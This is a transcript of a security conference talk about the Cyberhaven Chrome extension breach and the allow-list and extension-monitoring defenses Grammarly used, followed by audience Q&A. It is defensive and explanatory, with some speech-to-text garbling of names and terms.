Shadow IT Battlefield: The CyberHaven Breach and Defenses That Worked

All right, good afternoon. Theater 14 at Bides SF205. Um, if you're looking at the schedule, this used to be theater 15. No panic. Uh, it's now 14. That does make a difference though to how we're going to do Q&A. As always, we do Q&A here besides through Slido. That's sli.o. That is the domain. You go there with any device, log in. I'm sorry. You don't even have to log in. Just hit that page and type in the code besides SF205 and theater 15. It's where we used to be. So this is this talk is technically in theater 15. You go there, that's you'll be able to submit questions that we're going to be able to

answer and field them. I'll read that again when we get to the Q&A. Um, did you know that there are uh amongst the many wonderful sponsors we have here at Besides, some of them are charities and there actually have t-shirts that if you buy them up at the code check, uh, the proceeds from those t-shirts will go to charities like the internet archive, the California community community fund and the EFF amongst others. Um, that's one of the wonderful things that we have here. I'm very proud of it. And with that, we are at time. Well, let's let's check this out. And our next talk we're going to hear about the shadow IT battlefield from uh Roit Bansel and Zach

Pritchard. Thank you. Good afternoon everyone. Thank you for coming today. Flashback to December 26, 2024. I admit that I'm guilty of checking my emails while in bed in the morning. That day was no different. I was hoping to have a relaxing day post Christmas with my family. However, the fate had something else in for me. We got an email from a vendor Cyber Haven that they had breach on their end. As you would imagine that led to few weeks of incident response with that in this talk we'll briefly cover about the incident itself but a lot more about learnings that we had. We'll also delve into the mental models of implementing proactive measures and defenses and how you can

use those mental models on your day-to-day work. We'll cover areas that are still unsolved for and what are we doing about it. Our goal is to reserve last five minutes for any questions that you may have on the topic. My name is Nohit Bansil. I'm currently at Grammarly. Previously, I've had privileges of working in large fintexs like PayPal and Robin Hood. Then I'm Zach Pritchard. In the past, I've also worked at BRICS, Hash Corp, Slack, and Riot Games. But all of those roles are all in infrastructure security. This is my first venture into corporate security in the last uh six to eight

years. Quick show of hands. How many of us actually are aware or know about this vendor cyber cyber haven? Okay. close to like 10 15 of us. For those of us uh for for people who do not know, Cyber Haven is in the business of data loss prevention or data security in general. They detect data leaving the endpoint which is our laptops with the help of a browser extension and an agent running on your device. During the incident investigation, it was discovered that it all started with fishing. It always does, isn't it? Clicking on the link led the user to enter their Google credentials and attackers got an access token for those of us who are familiar

with OOTH to make API calls to Chrome web store and that is high privileged operation which means that they could now upload a malicious version of the cyber haven extension into the Chrome web store. Essentially, attackers were able to abuse the Google Oath permission model and gain persistence up and upload a malicious version of Cyber Haven extension since the extension code had minimal changes or as we thought we did. It probably went through a lightweight reviews from Google before publishing the extension itself. This is what uh a screenshot looks like of the fishing email and what the employee at the Cyber Haven team would have clicked through to get the access token granted to them. Very easy process. Anybody can

fall into the trap. You and I are no no different. It was also discovered that cyber haven was not not the only extension that had breached thanks to the research done by secure annex. Shout out to them. There were around 30 more extensions that were breached using the same modus operandi. It was part of a broader campaign that got us wondering. We being Grammarly, Grammarly's bread and butter is a Chrome extension. 40 million people use us day in day out. Were we also targeted? Lo and behold, we were. However, the fortunate the fishing email that was sent to us was blocked by our fishing and spam protection system. If you want to know the which

system we used, I'm not going to disclose it on the mic for keeping the sanity of the conference. You can come talk to us afterwards. Fishing protection was not the only defense that worked in our favor because we want defense in depth. In the preceding 6 months from the attack, we had implemented allow list for Google Oath apps. That would have prevented users from granting this permission altogether. Even if the fishing email pass through their fishing filters, uh they would have not been able to get the access token back. We are also operationalized browser extension allow lists that would give us asurances that all the ex all these extensions that were 30 odd extensions they are not in our environment and they

can no longer be installed on our users browsers. I'll be I'll be honest with you that in my career it was the first validation of preventive controls saving us from an active campaign. It was the first validation. I've never seen uh active valid active threat being mitigated by preventive controls. How did we get there? I think um while this validation gives us asurances or ammunition for future but for anyone in blue team would know that getting preventive measures prioritized is sometimes really really hard. In next few slides we'll share about the mental models of doing risk reduction exercises and possibly arrive at a playbook for future.

We'll divide that into pillars. So the first pillar for the framework is discovery and alignment. How do you discover what risks are you still is the organization still prone to? What prioritization frameworks are used to understand most important risks in the company? And finally, the alignment with the different different stakeholders to ensure that those risks are worth mitigating for and gather support from them. The tactical step of how you get it done could vary from person to person. What we ended up doing was doing a PRD and a document that is a shared collaborative space for anybody to comment on. Specifically for our project that we talked about here uh we started with the discovery of all the extensions and o

applications used by the workforce we had to enable some telemetry to get it done. We discovered that we had close to thousand extensions used by the workforce and keep in mind that we are,200 people company when we did this. So we had 400 Google Oath clients accessing data in Google. The case was made to be made with the leadership that this is a risk worth mitigating because we do not know what's going on with these extensions. Finally, we were able to prioritize the project with the risk assessment and this framework and we decided to move into an allow list approach. One of the team members as part of the review highlighted an important factor that we should talk to

to engineering team before we roll this out and that alignment and socialization proved to be golden. during the implementation. The next pillar I want to talk about is communication. I'd make a case, a strong case that this pillar needs to be the most stronger pillar in your strategy to execute projects for risk reduction. And it's often the weakest. We don't do enough. In our project, we ended up collaborating and socializing the project goals with the engineering team. The wise identified during discovery helped us make our case best case move forward and so engineering teams understand what and why we need to do this. We also communicated the project goals with the workforce and we had to make

certain changes to make this a reality. One example was we enforced that you can only sign into Google your Google account with a company managed profile which meant that your profile would also be a Google uh company profile. As part of our communication strategy, we also decided that we need to be transparent with our workforce when they file new requests of extensions or oath applications. We didn't want to fly blind and security being just the a team that is doing and saying, "Yeah, you must not use this extension or what app." We wanted to drive context and engage into conversations with our workforce on a why a particular app or extension is important to

them. The next pillar is implementation. This is where all the technical work happens and I think for security engineers like us is our most comfortable zone. While our work um we make some choices and tradeoffs during this particular implementation stage. It's important to have the mental model of actually doing the work and making a choice/implementation trade-off. One of the decision points that we've decided to use for imple extensions is to have the policy precedence for extensions which meant that the policy precedence that we end up choosing was we will enforce the machine policies first and and uh user policies later on. So if the machine policy overrides trumps everything, if the machine policies say the extension is blocked,

it's blocked for every Chrome profile on the device. The second decision was to pre-approve inuse extensions. As we were ramping up this project, we didn't want to have um a productivity hit by blocking extensions that are already in use. So, we chose to use anything net new falling through this gates of process and hone in the process and then um use use opportunities to review the extensions later on.

Finally, we had put automation in place to request and review extensions directly from the Chrome web store. This is if you do not know it, this is a sort of a hidden thing within Chrome Chrome extensions and Google Workspace that you can make a configuration and in that way when some when somebody logs onto the Chrome web store, they will see a request button as we'll see in the demo later on. configuration to request and we allowed the make the changes as we talked about here. Here's the actual screenshot of the changes in configuration. This is where I talked about the policy precedence. Google has four different options. We chose the second one which is machine cloud trumps

everything. This is the hidden setting in Google Workspace which allows the users to request extensions. And finally when the extensions are reviewed and approved you would go about adding them into Chrome web in Google workspace and then the users will be able to install the extensions. Unfortunately as of this time all this is a manual process. We would love to automate at some point when Google has APIs to do it for implementation of oath allow lists. Our decision point was to keep the internal clients as is by default trusted. This allows for innovation to continue and let us focus on the external attack surface. We decided to keep pure Google signin out of scope to balance the security risk and

productivity needs of the company. just to drive that message home. The end result is if you're trying to sign into a third party app which doesn't access data in Google, that will still be allowed. But if as soon as that asks for permissions to access data in Google, it needs to go through a review. Since Google did not have a mechanism to request a new oath application, we decided to have a custom message on the error screen pointing to the JiraQ where people can go and request new app to be allowed. Finally, the rollout was allow service by service with order being least used to the m most used Google service. Here is a quick snapshot of

what that means. The trusting internal clients is a is a setting. This is where you can add the custom message. It has a 400 character limit. So you need to play with the words very carefully so you have the right links and everything going on. And finally, this is where you make it uh trusted and then restricted service by service. There are 19 services that Google has um which can be individually turned on restricted. The final pillar is around maturity. It allows to continue to refine the solution based on the business needs because business needs evolve. I'd encourage you to think about any ways you can automate the processes and make things simple for yourselves

and rest of the company. I'll jump into a quick demo.

of how that looks like. So this is the request button request link I was talking about in Chrome web store. The setting aligns is to do you submit a justification and that's uh as soon as the sub justification is submitted it files our automation runs in the background and creates a Jira ticket for us to review this Jira ticket contains all this data set of who the user requesttor is plus uh some metadata around the extension we wrote a GPT in our using our uh enterprise GPD license with our enterprise enterprise GPD license uh and we put this JSON object into the GPT extension. What that spits out is an initial review that somebody in our team

can look at and make further decisions. The decisions are in five six six different categories. First the permission that extension has the popularity of the rep uh of the extension reputation of the publisher. the privacy practices that the the publisher has, data security practices of the publisher and the extension and the final piece is around what business use this extension may have for Grammarly that all this data set is reviewed by our one of our team members and then we make a determination whether to allow or defer an extension. The deferral process is interesting because we didn't want to just simply block the extension. With the allow list approach, it gives us an opportunity to

continue to have this extension in the request mode without just blocking it. So if as business business needs evolve, we can continue to evaluate the risk again.

All right. Uh is the is the work done? No, we still have gaps that we have not addressed for other browsers. We still have uh compensating controls through which we are trying to address for situations where data is uploaded to third party apps where only Google signin is enabled and the original problem that we started with is still not solved for. What if you have an approved extension that is enabled and goes rogue? How do we solve for that? Is still work in progress for us. I'll hand it over to Zach to talk more about that. Well, so where do we go from here? As we move forward, we want to not just proactively block extensions not on our

allow list, but also add an ongoing monitoring and an analysis of the ones that are already approved. We want to reduce the time that it takes to identify malicious extensions down from a vendor has told us they're compromised to we're telling the vendor they're compromised. The goal isn't to distrust vendors entirely. Rather, it's applying the trust but verify mantra we all know and love to browser extensions used in our fleet. So that's why we began work on an internal project to put this together. We might end up calling it Chroma watch. We might call it something else. The name's not decided yet. But the way the project works is it regularly pulls a list of all Chrome extensions installed

across our managed browsers using Google Workspace APIs. Each time we detect an extension update, we retrieve the new version from the Chrome web store and then use the tree setter library to parse the JavaScript, identifying when sensitive sources of data like cookies, browser history, or open tabs flow over to malicious syncs like calls to fetch an XML HTP request or websockets. Essentially, we're trying to determine when our extensions turn rogue. So, why not rely on permissions checks, extension reputation, or other signals? As you've seen, we actually do. These are all valid signals, but permissions themselves are not malicious. A legitimate extension may need the Chrome tabs permission for valid functionality. Similarly, extension may look like it's key logger

by listening for keystrokes when in reality, it's just registering a hotkey for quick functionality for that extension. Another example we've identified is some extensions that call the same function that was called in the malicious Cyber Haven update to get cookies from the user, but the call to that function never resulted in excfiltrating any data. Abstraction text tree analysis solves this by tracking how the data moves through the code, identifying clear end to-end flows from sensitive sources to suspicious syncs. Based on those definitions of what is suspicious, though, we do have the risk of not detecting some cases, but it is a trade-off that we've made to try and reduce the number of false positives as

much as possible. And as everyone here knows, reducing false positives does not mean we have no false positives. But if there's one thing that everyone hates, it's a tool that does nothing more than generate hundreds of alerts that you have to sort through. Now, that doesn't mean that Gret based checks are useless. We have some integrated, for example, checking for known JavaScript based crypto miners. So, if you're an attacker listening, please don't rename your crypto miner to legitimate tool.js. Now, what's the initial results that we've seen? We have not actually identified, which is really good, extensions installed in our fleet that are malicious at this time, but we have found and reported multiple extensions in the Chrome Web Store that attempt to

steal either cookies or browsing history. If you're interested in finding good test cases for this, search the Chrome web store for chat GPT and scroll down until you find one that looks like it has official branding and has very few reviews. If you can read the image there, it says it works and runs on every website. I'm sure it does. That said, these are still basic detections. Heavily offiscated JavaScript can still evade static analysis and validating the results of obiscated code is very difficult. Now as for operationalizing the tool, everyone knows that uh as we move forward, we have to make sure the output of the tool is heavily integrated into our normal process for

triaging, tracking, and actioning on security alerts. A good example being the uh what Roit showed for uh creating tickets to request a new Chrome extension. Now, in terms of future functionality, if we have the old version and the new one, is there a chance there's value in piping the diff straight to your favorite LM and asking if the diff appears malicious? Possibly. But if you go ask an LLM whether or not a bit of code appears malicious, it'll tell you what you want to hear. So, additionally, we're also working with our detection and response team to ensure known IoC's in our environment, either from ongoing investigations or threat intel feeds are integrated. So, uh we know if they appear in our

Chromebased browser extension environment. And finally, while we have focused very heavily here on Chrome and Google Workspace, these risks exist for other browsers as well. We're picking on Chrome here because it's the largest browser used in our fleet, not because it's the only platform with these issues. Uh, and as for open sourcing the tool, at some point, we might. Uh, we're a little bit worried about publishing just a list of Grammarly detections uh out on the internet. But if you are curious about it or want to chat privately, come find us later. So, to wrap things up here, if there's anything you can take away from this talk, we want it to be these things. As always, an ounce of

prevention is worth the pound of cure. overcommunicate changes and updates to your organization constantly. Prioritize action over perfection. The goal here is risk reduction and moving the needle in the proper direction. Even if this doesn't solve our threat landscape of issues for all browsers and all extensions, it moves us in the right direction. And finally, the browser threat landscape is constantly evolving. If you're not at the stage of having an allow list or extensions for OOTH grants, that's totally fine. But it's worth reviewing what access your employees have granted to their data. And I think that's it.

All right. Well, we still have a good uh six minutes for Q&A. I've seen there's a few questions in Slido. I see some here in the theater. It is best if you go through Slido. Um I'll be getting to the room only if we run out of questions in Slido because it's hard to do it through the room, but I'll I'll probably one up here. So, um just repeating that I think this QR code is correct. Uh it it's worth mentioning we are technically in theater 14 but uh this used to be theater 15. That QR code should actually be attached to 15. The talk is currently being fielded in theater 15 in Slido. So

don't get a little bit confused there. We did accidentally rename it for a few minutes during the talk but now it's back. So with that said the first question on the deck here is did Cyber Heaven developers have separate user and developer creds for Google Oath? That would seem to be the standard good practice. Um, yes they do. If you look at the CyberHaven extension in Chrome web store, the account tied to that extension is a separate account. The fishing email that was sent to the employee was specific. If you go back into the extension, the screenshot that I mentioned, it was very specific that you need to do something in your Chrome web store that we need your input on the

Chrome web store policy and that's probably led the people to use the separate account to log in into with the Google Google credentials. Good question though. Yeah. So now what did you use to query all of your OOTH and Chrome extensions? Was that GIM? We used uh GAM to we did not use GAM but there is a way to identify all extensions directly from Chrome web store. We through APIs we did that. We also run crowdstrike in our environment that give the telemetry on what extensions are running on the hosts for Google Oath applications. um that's a data directly available with just export that to a CSV and then you can just use it you don't need to run

gamma all that now did you consider other scanning solutions like codeql or sam grep in addition to or instead of the tree sitter uh yeah so there uh we mentioned secure annex I'm actually a fan of their product that they have right now even the free version is really nice um but to some degree it's a little bit of build versus buy there are other products out there like CR excavator which I think is a little bit uh out of date at this point. Um but the key result that we need out of this project is integrating our own IoC's into it. So as far as I know there are not other projects that will allow us to do that.

Uh SER grep is a good call out. Um but similar to doing gret based checks or pattern based matching I think it still falls short in the area of only identify these patterns and moving forward we want to see how much more LM searching integration can we do to identify malicious extensions. Uh, this next one should be pretty self-explanatory, I imagine. But, uh, shouldn't it be Google examining the extensions instead of doing it yourself? I no comment there. Um, but to to be honest, uh, even with the best scanning, have defense in depth, you should you have vendors that you trust, but you should be verifying what they're giving you is what they say it

is within your budget and time frame as as things allow. identify the the highest risk to your organization and then prioritize it based off of that. But yes, in an ideal world, we Google would give us everything safe. All right. Well, would you be willing to share Grammarly's bring your own device policy BYOD uh and expanded? Have you ever audited access to company files and data on workstations that didn't have controls? Uh yes. Uh I will say we probably can't share direct policies at this time but we have uh done audits to identify uh extensions installed outside of just the manage profiles that we have. Yeah, come talk to us afterwards. We'll talk more. So uh why didn't you begin pruning

extensions observed by percentage enable or percent enabled? Can you say it again? Yeah. Why didn't you begin pruning extensions observed by percent enabled? Uh I guess you mean by install base or how many users are using it. H that could be uh we can move on to another one if someone wants to update that one but yeah so the the short answer is yes. Uh we did look at extensions you know with 1,200 employees there were a lot of extensions that only had one or two users and we did prune those uh as an initial pass but a good indicator of do we have a bit business relationship with the company that makes this extension or

is there heavy usage of it is you know seeing 800 people use that extension. Uh this next one is kind of interesting. Does Google allow for opuscated JS? This presenter this person has found it frustrating that vendors get away with merely just minification. Yes, it does. Um, that was one of the early detections that I looked at was identify minified JavaScript. And out of the thousand extensions we had, more than half of them had minified JavaScript. So, it's not really good as an indicator. But, uh, it is I mentioned too, it's hard to identify even if you think you have a true positive to follow the flow of data through it uh, and validate it uh,

manually. All right, this last one probably here. You noted over 1,000 extensions in use at the start and also whitelisted those to maintain capabilities. Did that number get reduced through your efforts or did you find it unnecessarily overlapping capabilities? We did um as a follow-up project from October through December we pruned out to almost 50% of the those extensions. So we brought down the number to almost 400 odd extensions that are allowed in the environment right now. All right. Well, thank you Rahit and Patrick. Sorry, Patrick. Thank you so much, folks. Great questions.